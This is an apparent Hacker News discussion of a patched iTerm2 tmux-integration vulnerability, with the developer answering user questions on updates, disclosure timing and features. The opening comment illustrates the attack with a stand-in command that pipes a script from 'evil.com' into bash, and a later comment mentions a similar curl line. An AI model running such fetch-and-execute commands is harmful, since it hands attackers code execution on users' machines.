339 points by sciurus 5 days ago
I take it the nightmare scenario here is that you have web logs streaming in a tmux window and an attacker accesses /404/escape-code/curl -s http://evil.com/pwn|bash? Does the window need to be foregrounded for the attack to work? I guess the good news is that iTerm is Mac only, so I can't imagine that many web servers are using it.
Why would the web server need to be running macOS? From my understanding an admin could be ssh’d into a server and tailing/gripping the logs there while using iTerm. If the malicious input was in the logs, then the attacker could take over the admins machine, and by extension, possibly any machine the admin had access to.
That’s about right. Window doesn’t need to be in the foreground.
iTerm2 author here. I’ll be glad to answer questions.
Thanks for iTerm2. I've used it every day for years.
I'm running 3.0.15 and it reports no updates available.
On MacOS 10.9 (upgrading isn't really an option right now, it would break too many things).
Is iTerm2 3.0.15 vulnerable?
Your OS hasnt received a security patch in 3 years. Your iTerm hasn't been updated in 2 years.
I wouldn't worry so much about iTerm and would start working harder on those issues that are preventing you from updating.
Upvoted by me because that is a sensible answer.
However, I don't know of good answers to the issues that prevent me from updating.
For most of my work, Linux is used in VMs and remotely (Linux in a VM on a Macbook uses much less power than Linux running natively, and side-swiping between Linux and Mac is really great). But I don't use the Linux GUI much. My open windows are virtually all iTerm2 or Firefox, and almost everything that isn't a GUI is on a Linux command line somewhere.
So there isn't a strong imperative to update the host OS of my laptop.
However, what I lose from updating is significant. There are things that can't be done with much more recent MacOS, or which work significantly differently, or where the bugs have changed so introducing risks (SMBFS random file deletion, thanks Apple!). And Apple has a very annoying habit of making it next to impossible to build things for old devices on new Macs. (Unlike, say, Linux, where you can at least cross-compile or use chroot/containers to run old build systems.)
The real answer for the things I want to do is to buy a new machine and keep the old one around to support older devices that it is currently doing.
But I'm in the same dilemma as other people hoping for a great new Macbook Pro (after 2015) to come on the market at a sensible price some day. Besides, they have become very expensive, and my current one still works very well.
So in practice, I don't have much in the way of security risks (Firefox and Linux are updated after all), but iTerm2 is probably the only vulnerable tool I use daily on the Mac side which is exposed to data from the net.
And so it made sense to ask, just in case. I completely respect the author's reply.
While I have no concrete evidence, I would strongly suspect you should worry much more about security holes in your OS than in iTerm2.
You mean the holes they are adding in the latest years? macOS wasn't getting better since SnowLeopard. The HW neither.
If you're running a current version, then vulnerabilities are being patched as they are updated.
If you're running a version that is not receiving security updates, you remain vulnerable to vulnerabilities discovered (perhaps in later versions using same code) after the updates have ceased.
I'm running a version which is not yet vulnerable to file system destruction (also mine still is case-sensitive as it started), and is not vulnerable to critical discoveryd/mDNSResponder and Mail bugs.
It's a complicated pro-contra decision, but in Apple's case it's an easy decision. They have abandoned all developer good will some years ago already.
Running current versions is rarely advisable. Just see the gcc-9 disaster.
Why not just run the version of Mac OS that you have now in a virtual machine for the handful tasks that truly require at? And run either a new version of Mac OS or Linux on the bare metal?
As explained, yes eventually, but it's not a mere handful of tasks, and the set of known/anticipated issues is too much to treat the change as trivial, especially when working on something else time critical, which I am.
(I wouldn't run Linux on bare metal on a Macbook Pro though, because I already did some experiments and found it used less battery to run Linux under VMware Fusion, than to run the same Linux bare metal on the same machine. Counterintuitive perhaps. Maybe even wrong :-) but that's what I found at the time.)
People have different reasons for not updating. I have a 2010 Macbook Pro that cannot run the latest patch on High Sierra and I have to stop right before the last known patch. Otherwise the machine goes to an infinite reboot loop. Apple doesn't care for a 9 yr old machine. But it is otherwise a fine piece of hardware - use upgradable HDD, battery etc. I still prefer that to my 2016 Macbook Pro that is a piece of shit machine.
FWIW, I just bought a 2015 MBP and it's brilliant. It has the retina screen, old school keyboard, great trackpad "old USB", magsafe, SD card slot and HDMI. It will run the latest macOS no problem.
If it ever dies, I might just get another one.
I hope the battery was replaced? There's a recall affecting the battery for mid-2015 MBPs. The batteries can explode even when not being charged and the system not in use, it's definitely worth complying with the recall (which they make very easy, I did it with mine right after the recall was announced and got mine back within 4 business days).
Not all mid 2015 MBPs are affected. I think it is only some 15". I own a 13" and 15" and neither are affected. You can verify that the battery is good on Apple's website, by checking out your MBP's serial.
As the comment lower said, it doesn't affect mine, I have a 13"
It makes me sad that everything you wrote including the swearing is justified. If only at least one other manufacturer could come up with a decent trackpad.
Not OP, but with Apple it's a trade-off between having the latest and having worse battery life and slightly less performance.
Edit: I guess I touched a nerve...
It's also a trade-off between a functional computer and a brick.
(I upgraded someone's MBP to Lion(?) and the graphic accelerated GUI elements of that version caused it to crash hard, often.
Turns out it had a desoldered GPU for which a recall was issued, but Apple still refused to fix it.)
Sorry, I can’t provide updates for 10.9 :(
3.0.15 is vulnerable.
Thanks, I completely understand.
So I'll have to backport it then by myself. No macOS upgrades for me beyond 10.15
See my github fork, with branches for the latest released 3.1.7 with Yosemite and El Capitan support, and the latest beta (3.2.0beta5).
Running 10.9 today is like running Windows Xp. You are putting yourself and your data at risk
I'm puzzled by the downvote, as my question seems appropriate to me. Anyone care to provide feedback? Thanks.
I would guess two things:
1) The linked article says the fix is available in version 3.3.6. If it had been backported to previous release series, the article would say that.
2) You are running an old version of macOS that no longer gets security updates. It's a bit weird to be worried about an unpatched vulnerability in your terminal emulator when you are running an OS that (presumably) has several unpatched vulnerabilities itself. Your focus should be on figuring out how to safely upgrade to a supported version of macOS; after you do that, you'll be able to run the latest iTerm2 and the point is moot.
Dude, you are running a version that came out 6 years ago, while macOS has a yearly release schedule. iTerm would be the least of my concerns. There is just nothing to say here other than go and upgrade it asap.
While you’re right, it’s unfortunately not that simple because macOS updates really do break a lot of stuff (especially for developers) and, on older hardware, degrade performance to the point of un-usability. I’ve got an MBP from 2012, and I’ve stopped updating macOS with Sierra (10.12) due to ever degrading performance. I’ll be forced to throw away the (perfectly functional!) laptop at some point once I stop receiving security updates.
> macOS updates really do break a lot of stuff (especially for developers)
Weird example, as most of your users will be using a more recent version of macOS. So, while you're code isn't 'broken' for you, on your 6+ year old OS, it's broken for the vast majority of end users who will want to compile your code.
Weird response. Probably most developers are not shipping code for end users to compile.
Of those, most are probably developing websites and webapps, and the only thing about the end user that matters is which browser, not which OS, let alone version.
But there are also developers writing apps that include older devices in their target. That means avoid the newest Mac tools because you can't compile for old enough targets on it.
Then there are Mac app developers that include older versions of the OS in their target market, and have to use older tools to ensure the target range is covered. This gets harder over time because Apple makes it deliberately hard.
Some of them even write mobile apps that target users of older devices. Shocking, I know, but there are a lot of users of older iOS devices these days, and sometimes you're tasked with making an app for them.
Then there are developers whose work talks to dev hardware attached to the computer, which needs drivers, which stop being supported at some OS version. The end users get a lump of hardware, and all the developer needs is an OS that can talk to the dev kit.
Then there are developers doing maintenance on older MacOS, iOS, or device firmware, and produce updates that are drop-in compatible to exactly the same set of target users as are already running the software. Not every consumer app will bother with this, but some business-critical things demand it.
I think the use case of "end users who will want to compile your code" is almost negligably small in comparison, and Linux is probably a better OS for doing that sort of thing anyway :-)
I've done all the above, on Mac, Windows, and Linux. VMs work great for Linux, and ok for Windows. Mac is a pain for this, because of Apple's policies to try to make it difficult.
> most are probably developing websites and webapp
And you can't port your NPM, React, etc. environment over to a new OS without breaking things?
> the only thing about the end user that matters is which browser
As a web dev, you want to use the latest ES/HTML/CSS specs while still targeting as many users as possible. How can you target modern users when the browsers on your 6-year old system isn't up-to-date enough to render what most users will see?
> Then there are Mac app developers that include older versions of the OS in their target market, and have to use older tools to ensure the target range is covered. This gets harder over time because Apple makes it deliberately hard.
This is a valid point. There are still people compiling on and for Windows XP and MS-DOS machines, after all. Hell, you can find hobbyists who only like writing Commodore 64 programs. Writing to target older platforms is hyper-niche and the computer you use to do that shouldn't be your main workstation.
> Shocking, I know, but there are a lot of users of older iOS devices these days, and sometimes you're tasked with making an app for them.
In which context? Given that 97% of devices are on iOS 11 or later (https://twitter.com/reneritchie/status/1159288325003460609), I can't imagine why you care about those users.
> Then there are developers whose work talks to dev hardware attached to the computer, which needs drivers, which stop being supported at some OS version. The end users get a lump of hardware, and all the developer needs is an OS that can talk to the dev kit.
This is a valid point.
> Then there are developers doing maintenance on older MacOS, iOS, or device firmware, and produce updates that are drop-in compatible to exactly the same set of target users as are already running the software. Not every consumer app will bother with this, but some business-critical things demand it.
A valid point as well - this is exactly the context in which COBOL is still used.
> I think the use case of "end users who will want to compile your code" is almost negligably small in comparison, and Linux is probably a better OS for doing that sort of thing anyway :-)
That's...not true. macOS developers exist, you know, and there's a reason that Macs ship with a strong tooling kit.
Besides, if you distribute dynamically-linked binaries, you want an up-to-date OS so that the dylibs you're linking to actually exist...
Just some thoughts from a junior dev :)
> As a web dev, you want to use the latest ES/HTML/CSS specs [...]. How can you target modern users when the browsers on your 6-year old system isn't up-to-date enough to render what most users will see?
You can run latest browsers just fine. I'm talking to you now through Firefox Beta that was released a couple of days ago, on my 6 years old OS. It works just great, latest ES/HTML/CSS specs and all, same as yours. It's more up to date than my phone!
However, if you're serious about testing, portability, accessibility, inclusion, quality, and just looking good to a worldwide audience for your site or app, then you won't rely on testing in a single browser on your own machine.
Especially if your own machine is running the latest bleeding-edge version (as mine is). You may be using something like Selenium, BrowserStack, Sauce Labs etc. with a testing pipeline. Or (as I do), a bunch of browsers in cloud-based VMs.
Even if it's just a manual testing pipeline, there are so many ways a complex web app can render or behave differently on different browsers it's not funny, so well worth testing complex things.
Imagine trying to write something like a mini Google Sheets or Docs without testing on different browsers, while intending for it to be usable to a wide audience. It would break in more ways than you could imagine from testing only on the latest browser on your own machine.
> Given that 97% of devices are on iOS 11 or later [...] I can't imagine why you care about those users.
Not all apps are for consumers.
And not all apps are for distribution on an app store.
And some on a store are for particular audiences. For example government apps, financial services apps targetting people with little cash, and those running on fleets of purchased devices in a business (such as tablets) for a dedicated purpose.
E.g. one of those I've dealt with was effectively a museum full of tablets fixed in place. Nodody's going to purchase new hardware in quantity if the old ones are working fine, just to please a developer who can't figure out how to built for an old target. (When I did that job, it wasn't iOS, but the same principle applies.)
> A valid point as well - this is exactly the context in which COBOL is still used.
I wonder if you're trying to suggest "really really old" with COBOL :-) The same maintenance issues apply to maintaining apps released just a couple of years ago, which supported 5 year old devices at the time they were released, and so aim to maintain the same until they have a major version change.
(Especially business apps rolled out on a fleet of purchased devices, where continuity is a requirement. But also, consumer apps if you care about the customers.)
> macOS developers exist, you know
I do know, where do you think this thread came from :-)
But the vast majority of shipped code is not open source, and when it is, most of it is used only on servers or inside devices.
Upgrading MacOS all the way to present would break things that I need to use daily for work, without obvious or easy solutions, so it's not as straightforward as you're making out. It can be done, but probably involves a VM to keep the old MacOS running inside.
I've dealt with this problem my whole life and tbh it's a cost/benefit trade off. Assuming your employer isn't being flexible enough to upgrade they are simply saying that the risk of exploitation of employee machines is a lower risk than the cost of upgrading.
If all parties are ok with that trade off I'd say don't worry about this iterm update and also don't do anything involving PII on that computer.
Thanks for the advice.
The principle of their risk vs their cost doesn't work in this case. Terminals vulnerabilities are a bit more serious: It means don't anything involving PII on any remote computer either, from "that computer".
(If you take that seriously, that means don't access email too.)
Haha, "employee machines", chuckles :-) I haven't had (or been offered) one of those in many years - except for cloud machines. Plenty of cloud machines, but I'm nearly always expected to use my own devices to access them, at my own cost.
I do work with PII, for a variety of companies. About a quarter of the work I do involves direct use of PII, and another third interacts with it indirectly (such as grepping operational logs), so it has to be treated as pervasive.
The non-profits I currently handle PII for do not have spare cash to buy new kit at this level, or pay for my time fiddling around. It's not so much that they don't value it. I value it after all, and I'm responsible for deciding how to handle it. So another solution will need to be found.
For-profits I handle PII for (as a freelance/consultant) can of course afford machines, but it's still a problem to go cap in hand, when the expectation is that bringing an adequate terminal is my problem not theirs.
Which is fine, it's just how things are done.
Meanwhile, I still have physical devices that need an older MacOS for other work.
And there's a problem with serious MacOS SMBFS bugs that change on each version - and have themselves caused PII issues, for real (google "delete random files once in a blue moon"). I'm not looking forward to wierdness like that all over again, and I know that later MacOS has new SMBFS bugs.
So, upgrading MacOS, sadly, has known data access risks too. It's not something I should do casually, nor treat it as an unambiguous improvement from a security-of-data perspective.
To a responsible person, this combination of requirements sucks. I will deal with it responsibly of course, somehow.
But there's no quick and straightforward answer that meets all the requirements, and contrary to what I think some are saying, "just update" does not meet them, nor is it an unambiguous improvement.
> Terminals vulnerabilities are a bit more serious: It means don't anything involving PII on any remote computer either, from "that computer".
I'm not sure I understand the distinction. If someone's taken control of your computer then it doesn't matter if the terminal emulator you run on it is perfect or not.
The attacker would only need to periodically screenshot your display, or dump RAM from specific processes, or something like that.
Good point, and I agree I wasn't clear.
When the GP said don't use that computer for handling PII, I thought of PII on the machine itself (e.g. local files). That might have been a misunderstanding, and my response mixed up two ideas in an unclear way:
1. The terminal with a vulnerability is likely to be the attack vector for compromising that computer in the first place, because the terminal receives output from basically everything in your fleet, and all the data you interact with, if your work is command line heavy. The more data you handle through that one machine and terminal (including PII, which can be a source of unsanitised data), the more likely the compromise is to find a way.
2. Handling PII that resides on other machines is also compromised by the terminal problem on the local machine.
I have to assume that people are reacting to the fact that your OS isn't supported anymore. Check the top reply to your question.
Thanks. Well, yes, it's not supported, but I think it's still a legitimate question, not a troll or some negative remark, so I wanted to know what was objectionable. I think I can intuit the answer to that from other replies - some people think "just upgrade OS FFS" is automatically correct no matter the circumstances.
Anyway, the author answered really helpfully, for which I'm grateful.
For folks who don't use the Tmux integration, are they affected at all? I know that the post details that this occurs during usage of the Tmux integration, but is there a possibility that the same vulnerability is present in normal iTerm2 usage (i.e, no Tmux integration)?
Yes, everyone should upgrade. An exploit would use the tmux integration control sequence without your consent.
Would you consider a feature request for a setting to disable the tmux integration feature? The exploit seems like good evidence for the need for this.
I finally got around to installing iTerm2 this year. It's great, thanks to you (and to all contributors) for all your hard work! I will say, though, that while features like shell integration sound powerful, I personally choose to keep them disabled in order to minimize attack surface. It would be nice to be able to disable tmux integration as well for the same reason, given I don't use tmux.
Yep, good idea. There is an advanced pref to disable potentially risky control sequences. I plan to invest in giving users the option to lock things down more so they can trade off convenience vs security as they see fit
If you take a look at the demo shown in the blog post, it seems to show that you don't need to run tmux to be vulnerable. The demo video user is just in a normal tab.
iTerm is made by one person? Wow. Your software has enabled me and many other people to create a ton of value. I'm not sure I would even still be using macOS if iTerm2 wasn't available. Huge thank you for your work. I donated a little bit before but now I really just want to donate more.
I setup a monthly contribution - if you do that, too, I think the author will very much appreciate it!
Thanks for your hard work on the best piece of software I use daily
Wow, I'm out of date. (Build 3.2.6). Just noticed the 'check for updates', which I guess our overlord IT guys missed in the automation. I had no idea this was not the 'stock' terminal for OSX and doing a bit of reading, this is capable of so much more than the simplistic SSH/vim I've been using it for. Very cool stuff - I'm absolutely blown away by all the functionality that was hidden away behind the prompt.
I love iTerm2! Thank you for your hard work!
I updated a machine i am partially responsible for that was two patch versions behind and at first it only updated to the one previous to this patch. It strikes me that the update check should always go to the most recent version, no? I actually don't know what the normal behavior is here, I was just quite surprised that i had to do the update process twice.
This is a quirk of Sparkle when it has already downloaded but not yet installed the older update.
Strange! Thank you for your reply!
Thanks for making iTerm2! I've used it daily for work (and hobby coding) for longer than I can remember now.
This is pretty cool, and the first I've heard of the SOS Fund. Was this something that you actively sought out, or did they come to you?
They came to me. I’m really thankful that they have chosen to help my project. Security is hard and a fresh set of eyes will spot issues that I’ve become blind to over the years.
I had 3.3.4. I clicked check for updates, it recommended 3.3.5. After install, I clicked check for updates, it recommended 3.3.6. I installed that one too. Why did it not just suggest 3.3.6 from the start?
I appreciate how quickly you move to push vulnerability fixes every time.
What are your thoughts on how to prevent the entire class of vulnerability from being able to happen again?
Be paranoid about what you send. It’s really clear that any time you output attacker controlled values it can be exploited. I went through several iterations of adding escaping and every one had vulnerabilities. It wasn’t good until the only escaping that remained was very conservative (hex encoded).
I haven't had enough time to truly grasp the changes in the patch, but the use of a prefix, and a well known encoding scheme sounds a bit iffy to me.
What's stopping an attacker from looking at the definitions here: https://github.com/gnachman/iTerm2/commit/538d570ea54614d3a2... and using the same `NSUTF8StringEncoding` to build the same attacks?
EDIT: Of course GitHub doesn't follow fragment ids when they are part of a large diff, but you can open up `sources/TmuxController.m` yourself.
Not sure what you mean by NSUTF8StringEncoding. The important fact about encoding is that -encodedString:prefix: limits the output that iTerm2 produces to a very small set of characters from which it's hard to build an exploit.
Does Build 3.3.7beta1 include the fix?
How does this exploit work?
I looked through https://github.com/gnachman/iTerm2/commit/538d570ea54614d3a2... which appears to do some changing of how tmux variables are hanlded/stored.
Is the vulnerability that tmux session variable names and other session values are untrusted user input?
How does a general command like `curl evil.com/script` turn into an RCE here?
Please tag the 3.3.6 release on GitHub. Downstream packagers may rely on it to upgrade.
Thanks for all your work on iTerm2!
I'm curious about the timing of the MOSS announcement being concurrent with the patch version: what's the rationale for that, versus (eg) waiting until some/more users had upgraded to a fixed version?
Attackers might discover the change before the rest of the world. This way you are all on even footing.
The last nightly I see is 3.3.20191004-nightly, does it have the fix?
(Thanks for your work, amazing application)
Edit: Looking at the parent of that commit, I'd say no.
No. The nightly will be fixed tomorrow. I had to wait til this morning for a coordinated disclosure.
Wow. I have never heard of this and not considered it before, but you are right. If you had pushed a fix for the nightly build prior to a fix being available on the main branch, it would have amounted to a disclosure about the stable version to any watching would-be attackers. At least for critical vulnerabilities like these, holding off for a coordinated disclosure like this which raises user notice as much as possible while not tipping your hand does seem like a very smart policy. I follow security stuff pretty regularly (I'm not a user of iTerm2 and read this article and these comments to find out what the exploit would be and what bug led to it, for instance.) but I have never come across a developer doing this intentionally. Is it a well-known security posture thing that I have just missed?
In any case, thanks for your contributions with a tool that is obviously so useful to so many. I almost never use macOS, but I do own a 2015 MBP from some development I needed it for in the past. Next time I boot it up, you can be sure I will be installing iTerm2. (I might actually have it and just not remember, but I don't think so, I never invested too much into the platform.)
I don't have a question, I just want to thank you again for my favourite software.
Secondly what would be your community goal regarding the python api?
Is there a way to set up auto-updates outside of the app store?
iTerm is amazing I use it every day. I sent a donation your way for your work.
I gotta tell you, I full dropped iterm2 due to performance issues several months ago. I'm not sure what changed but it would regularly run my pro fan through the roof, hardware accel on or off.
Compared to Terminal (which they put a lot of work into, it's leaps and bounds better than it was a couple years ago) which never seemed to have the issue, has all the features I was using, and I can now make look not-shit enough to be easy on the eyes.
Please please I beg you to make a windows version. What would it take to make a windows version of iterm?
A good deal of money :)
I clicked "Check for updates", saw that there is an update ready to install. Once installed I compared the version number and it wasn't the latest. I probably missed an update in the past.
Make sure that after reinstallation you're at v3.3.6+
I checked for update, installed and relaunched... and found that all my tabs were exactly as they were before, including my tab that had an ssh tunnel running. The only thing that changed was that iTerm got more secure.
Impressive work, gnachman.
what??? Mine dumped all my windows and gave me back just one blank terminal window. I got robbed!
If you have non-native fullscreen windows it's Apple's fault. They don't like this window style so they don't support restoring it. Could also be that you have "System Prefs > General > Close windows when quitting an app" turned on, or that you have iTerm2's "Prefs>General>Startup>Window restoration policy" set to something other than "Use system window restoration policy"
I'm sure there are a lot of people reading HN who use iTerm2 every day. For me it's an essential tool.
If that's you, and you're not already a contributor to the continued development of this software, then today is a great day to start!
There's a Patreon, so for many people it'll be very easy to begin helping out:
(I have no affiliation with iTerm2 or it's author; I just want to encourage people to support important software)
Definitely a ton of users. IMO though, I've just used the stock Terminal on macOS for the past 4 years or so. I don't see my self using any of the features iTerm2 brings to the table.
I've opened 200+ panes across 3 monitors, broadcast to all of them to update a configuration and saved.
That saved me a lot of time, either building automation or ssh-ing to all of them one by one.
I don't know an easy way to do it in Terminal.app
Sounds like something ansible would be perfect for
Just to add to the options from your other replies, check out dsh: https://manpages.ubuntu.com/manpages/xenial/en/man1/dsh.1.ht...
csshX can do something like this with Terminal.app
I love the stock Terminal.app on macOS, but I love true color support much more, so iTerm2 is the one I use. Solarized looks so much better with true color support.
I had no idea George had a Patreon, definitely putting a few bucks there!
iTerm2 can copy selections to the system clipboard. That alone is worth the price of entry.
Wait, you can't do that with Terminal.app?
The point is to copy selections. You select a span of text, and it gets copied without needing to type Cmd-C.
cat thing | pbcopy
or in vi, !pbcopy
Why is this always the stock type of response when someone mentions a thing they like?
People like helping people.
Also, GNU screen: https://stackoverflow.com/questions/16111548/how-to-copy-the...
I like pbcopy, but it doesn't work when ssh'd somewhere
If you're proficient with tmux I'm not exactly sure what iTerm brings to the table.
tmux buffer back scrolling is onerous and highlighting in split view with a mouse is the same.
Text selection in split view is my main issue with tmux.
Quick work around: there is a shortcut for hiding all other views .
Full screen without having to be a separate window, so cmd+tab works seamlessly. Toggleable transparency.
iTerm has lots of features and from what I see many have their own favorites. I don't like/use the tmux integration(prefer real tmux) but some do. This is what makes it great.
The essential ones for me are, remapping modifiers and setting the right or left Option key to Meta, Terminal.app only lets you set both or none to Meta.
Can tmux do focus-follows-mouse for selecting between panes? (Last time I looked into it this wasn't possible)
Why would you use that over keyboard switching?
FFM is used when you have overlapping windows and want to focus a window without raising it.
Personal preference? I have always liked FFM, and while I like the keyboard for many things I find it much more awkward than the mouse for selecting among many (10+) terminals tiling the screen.
(I don't want overlapping windows for anything, never have, and am still sad I can't get OS-wide FFM on a mac.)
Yup been using this mode for years as the default.
What do you need to do for focus to follow the mouse pointer's movement? It doesn't seem to work like that out of the box, and the only settings I've found require clicking.
Sorry I misunderstood. I actually do click each pane to change focus/context. It isn't mouse-over.
`set-option mouse on` allows you to select with a click.
Yes, but I strongly prefer for focus to follow the mouse
I thought it wouldn't be possible, but, after a quick googling, it seems it is.
Sounds like an interesting idea to implement. Have you dug into the tmux bug tracker to check if someone already tried?
If you're proficient with shell I'm not sure what a GUI desktop brings to the table.
Thanks for posting this. Thanks to your post, I am now supporting the software I use every day.
Yeah I was surprised recently to find out that the whole thing is basically maintained by one person. Since it's an essential tool for me, I contributed a few minor improvements for some usability things that were irritating me. Thanks George!
What's the exploit? I keep clicking links trying to figure it out and no one says what it actually is.
I think it's something to do with: iterm2 interprets <magic control sequence> as triggering the tmux integration feature. But you can put that magic control sequence into other places.
Sure, but that explains nothing about how the tmux integration ends up running a local command. How is this doing anything more than confusing the terminal about buffers?
(OT) I like iTerm for its smart select/copy behavior, mostly, but stopped using it about 3 months ago because I often caught it using immense amounts of RAM, slowing everything down on my 32Gb trashcan pro. I thought it might have something to do with the GPU, but it doesn't happen on Terminal.app, which is otherwise good enough, but I miss iTerm every time I have to cmd-C or adjust the span of a double click. Has anyone else observed the RAM trouble? Maybe I have a bad setting?
Probably a memory leak. I’d love to get a heapshot to debug it. See instructions at https://iterm2.com/bugs
Thank you, I will do this.
The developer was commenting on HN earlier. Why don’t you reach out to them?
This got me to actually update and I love the new minimal theme. I also like having CPU/Memory usage statistics in the status bar.
Thank you, Mozilla. =)
And congrats Radically Open Security
Serious question: I've heard great things about iTerm2. I'm on Linux running xterm and a tiling window manager. What am I missing out on?
For the mac, it's the best there is, but if you're on linux gnome-terminal is better.
Wait, do you mean "if you're on linux gnome-terminal is better (because if you're on linux you can't use iTerm2)?"
Because that's the only way your comment makes sense to me.
What I mean to say is, gnome-terminal > iTerm2, but if you're on a mac, iTerm2 is the next best thing.
The fact that they have posted this with such fanfare leads me to think the "Mozilla Open Source Support Program (MOSS)" is not really very effective.